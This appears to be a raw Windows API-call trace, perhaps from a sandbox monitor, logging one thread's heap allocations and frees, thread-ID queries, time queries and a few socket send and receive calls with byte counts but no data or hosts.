0x9fc [0119.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35830 [0119.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xf4) returned 0x2a0e90 [0119.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa28 | out: lpSystemTimeAsFileTime=0x18fa28*(dwLowDateTime=0x980ca1e0, dwHighDateTime=0x1d60051)) [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] GetCurrentThreadId () returned 0x9fc [0119.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d48b80 [0119.358] GetCurrentThreadId () returned 0x9fc [0119.359] GetCurrentThreadId () returned 0x9fc [0119.359] GetCurrentThreadId () returned 0x9fc [0119.359] GetCurrentThreadId () returned 0x9fc [0119.359] GetCurrentThreadId () returned 0x9fc [0119.359] GetCurrentThreadId () returned 0x9fc [0119.359] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0119.359] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1b4) returned 0x2d50ef8 [0119.359] WSASetLastError (iError=0) [0119.359] send (s=0x12c, buf=0x2d3b470*, len=329, flags=0) returned 329 [0119.359] WSASetLastError (iError=0) [0119.359] recv (in: s=0x12c, buf=0x2d518f8, len=7, flags=0 | out: buf=0x2d518f8*) returned 7 [0119.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365a8 [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2d4a218 [0119.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x2d44e88 [0119.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x2d571e8 [0119.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa40 | out: lpSystemTimeAsFileTime=0x18fa40*(dwLowDateTime=0x980f0340, dwHighDateTime=0x1d60051)) [0119.382] GetCurrentThreadId () returned 0x9fc [0119.382] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d48b80 [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] GetCurrentThreadId () returned 0x9fc [0119.383] WSASetLastError (iError=0) [0119.383] recv (in: s=0x12c, buf=0x2d51902, len=61, flags=0 | out: buf=0x2d51902*) returned 61 [0119.383] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1) returned 0x2d4abc8 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d356f8 [0119.384] SetLastError (dwErrCode=0x0) [0119.384] WSASetLastError (iError=0) [0119.384] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.384] SetLastError (dwErrCode=0x0) [0119.384] WSASetLastError (iError=0) [0119.384] recv (in: s=0x12c, buf=0x2d51900, len=2201, flags=0 | out: buf=0x2d51900*) returned 2201 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd7c) returned 0x2d581f0 [0119.384] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50ef8 | out: hHeap=0x2a0000) returned 1 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36188 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35380 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d58f78 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d56240 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d08 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab88 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c90 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35b00 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab18 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35590 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356e0 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36268 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f68 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356b0 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35788 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35608 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4abb8 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35488 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac48 [0119.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d353e0 [0119.384] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d352c0, Size=0x20) returned 0x2d4a948 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e68 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352c0 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35530 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35c38 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36428 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac78 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fc8 [0119.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b00 | out: hHeap=0x2a0000) returned 1 [0119.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34c90 | out: hHeap=0x2a0000) returned 1 [0119.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36068 | out: hHeap=0x2a0000) returned 1 [0119.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360a8 | out: hHeap=0x2a0000) returned 1 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c90 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35b00 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d48b80 [0119.385] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34c90, Size=0x20) returned 0x2d4a560 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362c8 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c90 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36448 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a40 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a70 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35650 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fe8 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac18 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360e8 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35548 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fd8 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36308 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac58 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fa8 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359b0 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363a8 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aab8 [0119.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35218 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35de8 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0119.386] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34c90, Size=0x20) returned 0x2d4a588 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c90 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36368 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aba8 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d35c88 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359c8 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354a0 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36328 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab98 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36208 [0119.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6f) returned 0x2d28e10 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac18 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35650 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aae8 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fe8 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a70 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a40 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac58 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fd8 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab48 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36308 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35140 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35548 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360e8 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35218 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d359b0 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aab8 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35248 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ff0 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fa8 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35c88 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aba8 | out: hHeap=0x2a0000) returned 1 [0119.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34c90 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35230 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35de8 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36208 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354a0 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab98 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36328 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350c8 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d359c8 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a588 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362c8 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35668 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36248 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a28 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ee8 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e88 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34df8 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352c0 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e68 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a948 | out: hHeap=0x2a0000) returned 1 [0119.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362e8 | out: hHeap=0x2a0000) returned 1 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d352c0 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34df8 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362e8 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e88 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e68 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a28 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35668 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359c8 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab98 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aba8 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361c8 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354a0 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35ee8 [0119.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aab8 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36248 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c90 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362c8 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac58 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35248 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359b0 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35548 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36328 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d36208 [0119.388] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34e88, Size=0x20) returned 0x2d4a948 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35de8 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e88 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fd8 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36368 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac18 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d35c88 [0119.388] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35788 | out: hHeap=0x2a0000) returned 1 [0119.388] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d356b0 | out: hHeap=0x2a0000) returned 1 [0119.388] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f68 | out: hHeap=0x2a0000) returned 1 [0119.388] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36268 | out: hHeap=0x2a0000) returned 1 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36268 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f68 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356b0 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35788 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d4a0a0 [0119.388] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d356b0, Size=0x20) returned 0x2d4a588 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fa8 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356b0 [0119.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363a8 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a40 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a70 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35650 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d360e8 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aad8 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36308 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e58 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35758 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354e8 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36448 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad68 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab08 [0119.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fe8 